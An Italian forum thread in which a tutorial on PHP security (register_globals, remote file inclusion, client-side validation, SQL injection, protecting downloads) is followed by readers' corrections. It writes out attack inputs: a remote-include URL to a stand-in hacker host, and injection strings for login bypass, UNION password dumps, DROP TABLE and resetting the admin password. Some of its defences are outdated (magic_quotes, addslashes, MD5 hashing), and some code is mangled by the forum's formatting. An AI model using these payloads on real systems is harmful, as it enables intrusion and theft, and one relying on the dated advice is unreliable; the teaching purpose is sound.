Pagina 1 di 5 1 2 3 ... ultimoultimo
Visualizzazione dei risultati da 1 a 10 su 43
  1. #1
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940

    [PILLOLA] "Beware of" o sulla programmazione "sicura in PHP"

    Questa pillola, ampliata e aggiornata, è diventata una Guida di HTML.it.

    La trovate all'indirizzo http://php.html.it/guide/leggi/121/g...urezza-di-php/



    Beware of…o sulla programmazione “sicura” in PHP

    Con questa mia intenderei fornire un contributo ad alcune questioni legate alla sicurezza nello scrivere codice PHP. Mio intento è di aggiungerne man mano altri, nel tempo.
    Spero possano essere utili e confido nelle Vs. segnalazioni riguardo errori (sicuramente) presenti, precisazioni e via dicendo, essendo io comunque nell’ordine di idee di scrivere una guida corretta e completa e postarla, nel futuro, in una pillola ulteriore.

    Grazie in anticipo a tutti quanti inseriranno commenti costruttivi.

    Sommario

    1. Sulla direttiva register_globals (“Cos’è? Si mangia?”)
    2. Sugli include dinamici (“Se includi un file in quel modo, entro nel tuo sistema. E tu sei un fagiano.”)
    3. Sui form e sulle validazioni client-side (“I controlli JavaScript lato client sono a prova di Chuck Norris?”. "No, niente è a prova di Chuck Norris.")
    4. Database: SQL injections (“Fanno male, molto male. Cosa sono e cosa posso fare per difendermi?”)
    5. Sicurezza dei dati remoti (“Come impedire che un file dati venga richiamato da URL?”)


    1. Sulla direttiva register globals

    1.1 Vulnerabilità

    La direttiva register_globals del php.ini, se abilitata, permette allo script PHP di creare variabili globali secondo quanto ricevuto via query string, form, cookies o sessione.
    Ciò significa, nella pratica, che se uno script PHP viene richiamato da browser come:

    mio_script.php?documento=4&pagina=2

    per esso verranno create due variabili (globali) con tali nomi e valori. Questo metodo di trattamento dati, inizialmente creato per semplicità di notazione (le scritture $_GET[‘documento’] o $documento sono in questo caso equivalenti), successivamente ha suscitato l’attenzione degli sviluppatori in quanto possibile veicolo di exploit su codice mal pensato.

    Poniamo infatti che register_globals sia abilitato e l’applicazione Web PHP abbia al suo interno un codice simile al seguente:
    Codice PHP:
    <?

    function autenticazione()
      {
      if (
    procedura_complicatissima) return true;
      else return 
    false;
      }

    // main

    if (autenticazione())
      {
      
    $utente_autorizzato true;
      }

    if (
    $utente_autorizzato
      {
      echo 
    "Benvenuto utente autorizzato.";
      
    il_resto_dello_script();
      }

    ?>
    La function autenticazione() autentica l’utente, in base a qualsiasi metodo il programmatore ritenga opportuno, ed il risultato di tale procedura è memorizzato nella variabile $utente_autorizzato.

    Tuttavia, non è assolutamente necessario che un hacker (che conosca comunque il codice del programma) superi la procedura di autenticazione per accedere al sistema: gli è sufficiente richiamare lo script con ?utente_autorizzato=1 in query string, in quanto $utente_autorizzato (variabile) è ugualmente valorizzato da $_GET[‘utente_autorizzato’] (query string).

    1.2 Soluzioni

    E’ quindi lampante perché register_globals debba essere settato ad OFF.

    In ogni modo, che si intenda settare register_globals ad OFF o meno, l’esempio sopra riportato mostra l’importanza di definire ed inizializzare tutte le variabili usate nello script, all’inizio dello stesso. Mentre altri linguaggi obbligano a farlo, PHP si dimostra decisamente più permissivo al riguardo.

    Aggiungendo semplicemente l’inizializzazione della variabile $utente_autorizzato ad inizio script, l’exploit non funziona nemmeno con register_globals settato ad ON.

    Codice PHP:
    // main
    $utente_autorizzato false
    Durante lo sviluppo del programma è consigliabile settare la direttiva error_reporting ad E_ALL nel php.ini, ciò che evidenzia in fase di runtime ogni variabile non inizializzata:

    codice:
    Notice: Undefined variable: variabile in percorso\cartella\script.php on line xx
    [Output-tipo su Windows]

    Dovendo conoscere i dettagli del codice, va da sé che tali vulnerabilità riguardano essenzialmente gli applicativi open source, anche se esse vanno sempre più verso la più completa estinzione, in quanto la direttiva in questione generalmente è sempre disabilitata.


    2. Sugli include dinamici

    2.1 Introduzione

    Si abbia il seguente script, test.php, sul WebServer di http://dummy_site.com, poniamo all’indirizzo:

    http://dummy_site.com/test.php.
    Codice PHP:
    <?
    if (isset($_GET['include_script'])) include($_GET['include_script']);
    // altro_codice;
    ?>
    test.php include un file dinamicamente, sulla base di quanto ricevuto via query string. Ricevendo in GET, ad esempio: ?include_script=dummy_script.php, quest’ultimo script viene in esso incluso.

    Sicuramente non rientra nelle intenzioni del programmatore l’eventualità che possa venir incluso un file remoto. Nelle intenzioni dell’hacker invece sì…
    Ecco come: sia http://hacker_site.com/evil_script come di seguito:
    Codice PHP:
    <?
    echo "Inclusione dannosa riuscita.";
    // altre istruzioni dannose;
    ?>
    Se la direttiva allow_url_fopen del php.ini di dummy_site è abilitata (1), l’hacker, inserendo da browser l’indirizzo:

    http://dummy_site.com/test.php?inclu...%2Fevil_script

    può facilmente eseguire il codice di evil_script (2) su dummy_site.com. E prevedibilmente la fantasia dell’hacker sarà ben diversa dalla mia in quanto ad istruzioni eseguite…

    2.2 Possibile rimedio

    Nel caso ci si aspetti che il file da includere (ad esempio dummy_script.php) sia nella stessa cartella di test.php, è semplicemente necessario un controllo sulla cartella stessa, in fase di inclusione:
    Codice PHP:
    if ((isset($_GET['include_script'])) && (dirname($_GET['include_script']) == ".")) include($_GET['include_script']); 
    E’ molto difficile, infatti, riuscire a salvare un file nella virtual directory di un server da remoto, se non in possesso dei relativi permessi.

    Rimane da sottolineare come gli include statici, del tipo: include(“mio_file.php”) non nascondono vulnerabilità.
    ____

    (1) Lo è di default.
    (2) Palesemente quanto scritto in query string è la codifica standard di “http://hacker_site.com/evil_script”


    3. Sui form e sulle validazioni client-side (JavaScript)

    3.1 Introduzione

    I controlli client-side su quanto digitato o fatto dall’utente servono unicamente all’utente stesso come feedback delle sue azioni; per ciò che concerne la sicurezza, i controlli lato server divengono strettamente necessari, tanto più necessari quanto più l’applicazione Web sia diffusa e tratti dati sensibili.

    Poniamo l’esempio in cui si voglia evitare di inserire dati duplicati in un ipotetico box “Nome tipo” di un form Web.

    Il codice necessario è, banalmente, il seguente:

    codice:
    function verify_name_tipodoc() 
      {
      filesEsistenti=new Array();
      filesEsistenti=['FAX (GENERICI EMESSI)','DOCUMENTO GENERICO','COMUNICAZIONI INTERNE','COMMESSA']
    
      if (filesEsistenti.in_array(document.form1.nome_tipo.value.toUpperCase()))
        {
        alert ("Il nome utilizzato è già esistente ");
        document.form1.nome_tipo.value = "";
        document.form1.nome_tipo.focus();
        return true;
        }
      }
    Funzione JavaScript richiamata tramite lo handler OnBlur nel relativo input box HTML:

    codice:
    <input type="text" name="nome_tipo" OnBlur="verify_name_tipodoc()">
    Essendo, a sua volta, il form dichiarato come segue:
    codice:
    <form action="insert_tipo.php" method="post" enctype="multipart/form-data" name="form1" id="form1" 
    OnSubmit="return check(this)">
    3.2 Vulnerabilità e conclusioni

    Un controllo lato client di questo tipo è però “bypassabile” in ben due maniere semplicissime:

    1. E’ sufficiente salvare il file HTML ed omettere i controlli JavaScript detti, avendo cura di modificare il parametro action del form in modo che punti all’URL del WebServer in questione (qui: http://www.my_srv.com):
    codice:
    <form action="http://www.my_srv.com/insert_tipo.php" method="post" enctype="multipart/form-data" name="form1" id="form1">
    codice:
    <input type="text" name="nome_tipo" OnBlur="">
    2. Come dite? Molto rumore per nulla? Bastava disabilitare il JavaScript dalle opzioni del browser? Già…

    Senza un controllo lato server, abbiamo, in questo caso, con elevatissima probabilità, procurato un danno al programma remoto: l’importanza del data filtering ricorre ancora una volta.

    E’ da notare che un controllo di sessione non può nulla, in quanto, una volta autenticati, possiamo spedire qualsiasi cosa desideriamo dal nostro client al server remoto.

    [.:: JaguarXF ::.]
    __________________

  2. #2
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940
    4. Database: SQL injections

    Con tale termine intendiamo tutti gli attacchi ad un’applicazione Web – nel nostro caso PHP – che consentano di modificare l’interazione della stessa con il database: nel caso vengano eseguite, lato server, interrogazioni MySQL costruite su quanto ricevuto dal client, senza un controllo sull’input è possibile che un hacker crei, “tecnicamente” parlando, seri disastri.

    4.1 Autenticazione

    Primo esempio, autenticazione utente

    Riporterò ora un primo, classicissimo, esempio.

    Posto che la direttiva magic_quotes_gpc del php.ini sia settata ad OFF e non venga fatto l’escape del carattere “ ‘ “, studiamo il caso in cui l’autenticazione degli utenti di un’ipotetica applicazione Web PHP utilizzi la logica seguente. I dati passati allo script di autenticazione giungono direttamente da un form HTML opportuno.
    Codice PHP:
    $utente_autorizzato=0;

    $sql=”SELECT FROM tabella_utenti WHERE usr=".$_POST[‘username’]."' AND pwd='".$_POST[‘password’]."'"; 

    $query=mysql_query($sql,$db); 
    if ( mysql_num_rows($query) > 0 ) 
      { 
      $utente_autorizzato=1;
      } 
    Se username e password inserite lato client sono rispettivamente marco e miapass, la query assume la forma:
    Codice PHP:
    SELECT FROM tabella_utenti WHERE usr=’marco’ AND pwd=’miapass’
    A questo punto, se nel database è presente un’entry che soddisfi a tale query, l’utente è autorizzato ad accedere all’applicazione.

    La vulnerabilità è però in agguato: se username e password inserite lato client fossero, invece, qualsiasi_nome e qualsiasi_stringa' OR 1, la query assumerebbe la diabolica forma:
    Codice PHP:
    SELECT FROM tabella_utenti WHERE usr=’qualsiasi_nome’ AND pwd=’qualsiasi_stringa’ OR 1
    Essendo la query sempre soddisfatta (ha valore di verità sempre 1), il suo risultato sarà l’intera lista degli utenti (tutte le entry della tabella) e l’hacker entrerà, autenticato, nel programma.

    In presenza di una qualsivoglia tipologia di riconoscimento utente, l’identità che assumerà l’hacker (intendo il nome utente con cui risulterà collegato) dipende da come è strutturato il codice. Se il primo utente di tabella_utenti è l’amministratore, molto probabilmente (3) l’hacker lo impersonificherà.
    ____

    (3) Spesso infatti, presupponendo che solo una sia la riga risultante dall’esito dell’interrogazione SQL, proprio la prima riga della lista viene associata all’utente loggato (hacker).

    Autenticazione utente con inganno sullo username

    Abbiamo visto come sia possibile ottenere accesso non autorizzato inserendo stringhe (in)opportune nel campo riservato alla password. Lo stesso si può ottenere anche utilizzando il campo username.

    Inserendo in username la stringa: qualsiasi_nome’ OR 1 -- si ottiene:
    Codice PHP:
    SELECT FROM tabella_utenti WHERE usr=’qualsiasi_nome’ OR -- AND pwd=’qualsiasi_stringa’
    E l’accesso è assicurato. “- - “ rappresenta per MySQL il delimitatore di commento: tutto ciò che segue viene ignorato.

    Autenticazione con firma sulla password

    Poniamo invece subito all’attenzione una questione fondamentale: se il sistema di autenticazione utilizza un ben più sicuro sistema di firma, per il quale la password non è memorizzata in chiaro su database ed in sua vece è memorizzato il suo hash, il programma sarà non vulnerabile al primo exploit menzionato.

    Se infatti confrontiamo l’hash di quanto inserito dall’utente con ciò che è su db (già hashato), il comando md5 vanifica, trasparentemente, gli sforzi dell’hacker.

    Se il codice di autenticazione fosse infatti:
    Codice PHP:
    $utente_autorizzato=0;

    $sql=”SELECT FROM tabella_utenti WHERE usr=".$_POST[‘username’]."' AND pwd='".md5($_POST[‘password’])."'"; 

    $query=mysql_query($sql,$db); 
    if ( mysql_num_rows($query) > 0 ) 
      { 
      $utente_autorizzato=1;
      } 
    la query, anche in presenza di tentativi di hacking, risulterebbe simile a:
    Codice PHP:
    SELECT FROM tabella_utenti WHERE usr=’qualsiasi_nome’ AND pwd=’ 6f8f57715090da2632453988d9a1501b’
    e sarebbe, appunto, non vulnerabile.

    Ottenere login di amministrazione

    Conoscendo la struttura interna delle tabelle del database, è possibile ottenere l’accesso di amministratore, con un po’ di fortuna ed alcuni tentativi. Poniamo che l’applicazione PHP permetta di cambiare la password dell’utente e che usi una query SQL simile alla seguente per farlo:
    Codice PHP:
    $sql "UPDATE tabella_utenti SET pwd=’”.$_POST[‘password’].”’ WHERE usr=’”.$username.”’”; 
    Se come password viene inserita la stringa: mia_pass' WHERE usr LIKE ' %admin% ' -- la query risulta:
    Codice PHP:
    $sql "UPDATE tabella_utenti SET pwd='mia_pass' WHERE usr LIKE '%admin%' -- WHERE usr=’marco’”; 
    Con il risultato che la password di amministrazione è stata modificata in mia_pass, ciò permettendo all’hacker di loggarsi come amministratore – il quale amministratore, per parte sua, sarà estromesso dal sistema!

    4.2 GET/POST numerici

    Introduzione

    Nelle query del tipo seguente, eseguite lato server dall’applicazione PHP:
    Codice PHP:
    $sql=”SELECT id_documentouser_id FROM tabella_upload WHERE user_id=.$_GET[‘userid’]; 
    è necessario controllare che la variabile passata in GET (identicamente vale per POST) sia realmente un numero. Pensiamo infatti al caso in cui per varie ragioni (4) siano noti i nomi delle tabelle del database e lo userid passato in query string sia: 60 AND 0 UNION SELECT usr, pwd FROM tabella_utenti.

    La query risuta:
    codice:
    SELECT id_documento, user_id FROM tabella_upload WHERE user_id=60 AND 0 
    UNION SELECT usr, pwd FROM tabella_utenti
    Se a questo punto l’applicazione prevede un output per tali dati, l’hacker ha la lista completa di login e password degli utenti. Vengono estratti solamente i dati soddisfacenti alla seconda SELECT, in quanto la condizione AND 0 rende sempre falsa la prima.

    Di qui, se la lista è in chiaro, il disastro è completo; se la password è stata invece hashata con un md5(), ad esempio, può essere possibile che con un attacco di brute force si riesca comunque ad evincere un login valido. E’ bene ribadire che più corta e “debole” (5) è una password, più facile è che l’attacco brute force abbia successo (6).

    Di male in peggio: riferendoci sempre alla query sopra, pensiamo cosa può succedere se, in determinati casi, l’hacker attribuisce a user_id la stringa: 60 AND 0; DROP table qualsiasi_tabella.

    La query diviene:
    codice:
    SELECT id_documento, user_id FROM tabella_upload WHERE user_id=60 AND 0; DROP table qualsiasi_tabella
    e ci siamo giocati un’intera tabella (R.I.P.). Va detto però che in genere query multiple non possono essere eseguite, non dalla versione 3.0.6 del PHP in poi. A meno che, ovviamente, lo stesso programmatore non preveda tale possibilità tramite codice.

    GET/POST numerici con query ad “*”

    Nel caso invece di query del tipo seguente:
    Codice PHP:
    $sql=”SELECT FROM tabella_upload WHERE user_id=.$_GET[‘userid’]; 
    poiché UNION implica che il numero di campi estratti dalle due query sia il medesimo, conoscendo la struttura interna della tabella del db o per tentativi ed errori, costruiamo quindi:
    codice:
    SELECT * FROM tabella_upload WHERE user_id=60 AND 0 
    UNION SELECT usr, pwd, 0, 0, 0, 0, 0 FROM tabella_utenti
    nel caso in cui i campi di tabella_upload siano 7.

    Il risultato è quello sperato (dall’hacker, non dall’amministratore dell’applicazione..):

    marco e887a115f99cb3a3d01baf63d0ddc682 0 0 0 0 0
    monica 7cf706b9c0a54bc05e6ac6baea77d59c 0 0 0 0 0


    Rimedio per exploit basati su query con dati numerici

    Evitare tali exploit è facilissimo: basta eseguire un controllo sul dato passato e forzarlo ad essere un numero:
    Codice PHP:
    $sql=”SELECT id_documentouser_id FROM tabella_upload WHERE user_id=.(int)$_GET[‘userid’]; 
    In caso di tentativo di hackeraggio, al limite il valore della variabile GET/POST sarà nullo e non verrà estratto alcunchè. Se alla nostra query vengono passati dati solo numerici, quindi, è strettamente necessario operare un “type casting” su di essi.

    4.3 Evitare ogni tipo di SQL injection

    1. Settare la direttiva magic_quotes_gpc del php.ini ad ON.

    Tale direttiva equivale ad un addslashes automatico sui caratteri considerati pericolosi relativi a tutte le stringhe passate via GET e POST e su tutto quanto salvato nei cookies.

    Fare l’escape significa far precedere al carattere “ ‘ “ ed altri caratteri un backslah, di modo che, riferendoci a quanto visto prima, se inseriamo qualsiasi_stringa' OR 1 nel campo password, questo viene automaticamente convertito in qualsiasi_stringa\' OR 1, vanificando ogni tipo di attacco.

    Si deve tener presente però di non arrivare ad aggiungere backslash doppi o tripli, ciò che avviene se il programmatore, abituato a programmare con magic_quotes_gpc ad OFF, fa l’escape “a mano” egli stesso di tutte le stringhe in input: in questo caso risulterebbe qualcosa del tipo: qualsiasi_stringa\\\' OR 1, in quanto l’escape viene fatto sia su “ ‘ “ che su “ \ ”.

    Il programmatore deve quindi accertarsi dell’impostazione sulla direttiva del php.ini prima di decidere sul da farsi. Se ad OFF, usare addslashes; se ad ON no.

    Per svariate motivazioni, tuttavia, questo non è il metodo migliore.

    2. In luogo di magic_quotes o dell’addslashes “manuale”, per fare l'escape dei caratteri pericolosi, è preferibile utilizzare le funzioni apposite che PHP mette a disposizione nell’interazione con MySQL.

    E’ opportuno usare mysql_escape_string() sulle variabili passate alle interrogazioni SQL.

    Da php.net:
    mysql_escape_string aggiunge le sequenze di escape in una stringa per l'uso in mysql_query.
    Uso: string mysql_escape_string ( string stringa_senza_escape );
    Questa funzione aggiunge le sequenze di escape a stringa_senza_escape, in modo che sia sicuro usarla in mysql_query().
    Nota: mysql_escape_string() non aggiunge le sequenze di escape a % ed a _.
    Sì, tale funzione (come addslashes) non fa l’escape di tutti i caratteri potenzialmente pericolosi, quali “ % ”, usati nelle query con LIKE, “ ; ” e “ , ”. Per questi è necessario uno str_replace “manuale”.

    3. Espressioni regolari.

    E’ bene valutare tramite espressioni regolari se quanto si riceve in input è conforme a quanto ci si aspetta di ricevere. Ad esempio, si intendiamo che una variabile contenga solo caratteri alfanumerici possiamo usare la regexp: ereg("^[A-Z0-9]+$",$in) per validarla.

    Le espressioni regolari, se ben usate, sono un metodo sicuro per implementare un’applicazione non vulnerabile alle SQL injections.

    4. per i dati numerici, forzarli sempre ad essere effettivamente numerici all’atto del passaggio ad una interrogazione SQL tramite type casting: (int)$dato_numerico.

    ____

    (4) Poiché, per nostra fortuna, PHP non dà indicazioni sui nomi delle tabelle, né durante il suo normale funzionamento né in caso di errore, questo tipo di attacco è effettivamente efficace se i nomi delle tabelle sono i soliti noti nomi banali oppure se l’applicazione è open source. Oppure ancora se riusciamo ad ottenerli per altra via, sfruttando altri exploit esistenti.
    (5) Per debole si intende un password composta di caratteri, magari solamente minuscoli, o numeri: [a-z]+[0-9], oppure addirittura composta di una parola di senso compiuto ricavabile da un comune dizionario.
    (6) Non dò qui menzione delle collisioni relative all’MD5. Se (giustamente) paranoici, usare l’algoritmo SHA oppure una qualche combinazione più sicura dell’MD5,quale, ad esempio: md5(md5($password.$stringa_particolare)).

    [.:: JaguarXF ::.]
    __________________

  3. #3
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940
    5. Sicurezza dei dati remoti

    5.1 Evitare il download diretto di file dati (non PHP)

    E’ noto che non è possibile (7) visualizzare da browser il sorgente di script PHP remoti, in quanto, richiamando da client un file .php, questo viene innanzitutto eseguito su server (8) dall’interprete PHP stesso. Ciò significa che viene ritornato al browser il solo output HTML (JS, immagini etc), ma non il codice originario.

    Il codice sorgente è quindi “protetto” da sguardi indiscreti. Ma se, invece, si volessero proteggere oltre al codice, anche i file dati? In altri termini, com’è possibile evitare il download diretto di file dati, pur richiamandoli via URL?

    Se infatti come URL viene scritto qualcosa del tipo: http://mio_sito/doc/YCM0000076.zip, tale ZIP viene spedito dal WebServer al browser via HTTP per essere aperto o salvato in locale.

    Come evitare? Esistono due soluzioni.

    5.2 Prima soluzione

    Ove possibile (9), salvare i file dati in una cartella superiore alla root del WebServer (htdocs o wwwroot), dato che al browser è intrinsecamente impedito l’accesso a cartelle ad essa superiori. Per far scaricare un file in locale, anziché un semplice link HTML allo stesso, dovrà essere richiamato uno script PHP che provveda ad inviare il file al client in HTTP. Ad esempio:
    Codice PHP:
    <a href=”scarica_file.php?id=…”>Scarica il file</a
    o, per gli amanti del JavaScript (come me):
    Codice PHP:
    [url="”#.”"]Scarica il file[/url
    Il codice per lo scaricamento del file dati è il seguente (valido per il download di uno ZIP, compatibile sia con Firefox che con MS IE):
    Codice PHP:
    header("Content-Type: application; name=".$nome_file);
    header("Content-Transfer-Encoding: binary");
    header("Content-Length: “.$dimensione_file);
    header("
    Content-Dispositioninlinefilename=".$nome_file);
    header("
    Expires0");
    header("
    Cache-Controlno-cachemust-revalidate");
    header("
    Cache-Control: private");
    header("
    Pragma: public");
    readfile(
    $percorso_assoluto.$nome_file); 
    ____

    (7) A meno di bug del WebServer i quali, in passato, sono stati per la verità tutt’altro che rari, specie su MS IIS. Oppure a meno che l’interprete PHP stesso non crashi senza “riaversi”. In quel frangente i sorgenti non dovrebbero essere protetti, per quanto ne so.
    (8) Ovviamente se il WebServer è stato istruito per farlo.
    (9) Se il programma PHP gira su server in hosting, questa via il più delle volte non è percorribile.

    5.3 Seconda soluzione (Apache)

    Apache mette a disposizione un insieme di direttive di accesso particolari, veicolate dal file .htaccess.
    Per evitare che i file all’interno di una cartella e contenuti in tutte le sue sottocartelle vengano scaricati via URL, è semplicemente necessario creare un file di puro testo “.htaccess“ ed inserirlo nella cartella voluta:
    codice:
    <Files ~ ".+"> 
    Order allow,deny 
    Deny from all 
    Satisfy All 
    </Files>
    Come sopra, per far scaricare un file in locale, anziché un semplice link HTML allo stesso, dovrà ora essere richiamato uno script PHP che provveda ad inviare il file al client.

    Se un utente qualsiasi tenta di accedere al file, il browser presenta il seguente messaggio standard di errore:

    Forbidden
    You don't have permission to access /mio_sito/doc/YCM0000076.zip on this server.

    Nota:
    Affinché Apache sia abilitato ad usare queste direttive, nel suo file di configurazione (httpd.conf) deve essere sostituito AllowOverride All ad AllowOverride None.

    [.:: JaguarXF ::.]
    __________________

  4. #4
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940

    [.:: JaguarXF ::.]
    __________________

  5. #5
    Originariamente inviato da mark2x
    Fare l’escape significa far precedere al carattere “ ‘ “ ed altri caratteri un backslah
    no, fare l'escape significa usare esattamente le funzioni apposite di escape quali:

    mysql_escape_string
    mysql_real_escape_string
    sqlite_escape_string
    pg_escape_string
    e via dicendo


    quella di mettere gli slash è un'altra possibile falda per le sql injections, poichè non è detto che ad ogni db basti lo slash, in sqlite ed in postgres ad esempio questo
    '

    diventa questo

    ''

    funzione di escape, non è un double quotes ed è l'unico metodo giusto per fare escape di stringhe.


    Il resto non l'ho approfondito ma complimenti per l'iniziativa, questa era solo una precisazione
    Formaldehyde a new Ajax PHP Zero Config Error Debugger

    WebReflection @WebReflection

  6. #6
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940
    Sì, è vero, mi riferivo cmq a MySQL, l'ho anche accennato ad inizio Punto 4: "nel caso vengano eseguite, lato server, interrogazioni MySQL costruite su quanto ricevuto dal client".

    Ringrazio cmq per la giusta precisazione.

    Non mi è chiara ancora la dinamica delle pillole, cioè come fa una pillola a divenire "pillola in rilievo" e quant'altro.

    Attendo commenti di ogni genere.
    Infine correggerò ciò che leggete con le Vs. precisazioni.


    [.:: JaguarXF ::.]
    __________________

  7. #7
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940
    Tra l'altro ho notato ora ora che scrivendo qui " ' \ " mi scrive " ' ", in 4.3 (1).

    Attenti.

    [.:: JaguarXF ::.]
    __________________

  8. #8
    Originariamente inviato da mark2x
    Tra l'altro ho notato ora ora che scrivendo qui " ' \ " mi scrive " ' ".

    Attenti.
    non è tanto questo, quanto che è sempre consigliato usare le funzioni dedicate ... sono fatte apposta (e si comportano "meglio" di un addslashes), usiamole
    Formaldehyde a new Ajax PHP Zero Config Error Debugger

    WebReflection @WebReflection

  9. #9
    Utente di HTML.it
    Registrato dal
    Sep 2002
    Messaggi
    460
    Ottimi spunti; una piccola nota: in realta' la soluzione piu' semplice alla SQL injection dovrebbero essere semplicemente i prepared statements.
    There are 10 types of people in the world - those who understand binary and those who don't.

  10. #10
    Utente di HTML.it L'avatar di mark2x
    Registrato dal
    Nov 2005
    Messaggi
    1,940
    Originariamente inviato da andr3a
    non è tanto questo, quanto che è sempre consigliato usare le funzioni dedicate ... sono fatte apposta (e si comportano "meglio" di un addslashes), usiamole
    Assolutamente vero.
    Il problema è uno... ehm... c'è scritto: "Per svariate motivazioni, tuttavia, questo non è il metodo migliore. "


    [.:: JaguarXF ::.]
    __________________

Permessi di invio

  • Non puoi inserire discussioni
  • Non puoi inserire repliche
  • Non puoi inserire allegati
  • Non puoi modificare i tuoi messaggi
  •  
Powered by vBulletin® Version 4.2.1
Copyright © 2024 vBulletin Solutions, Inc. All rights reserved.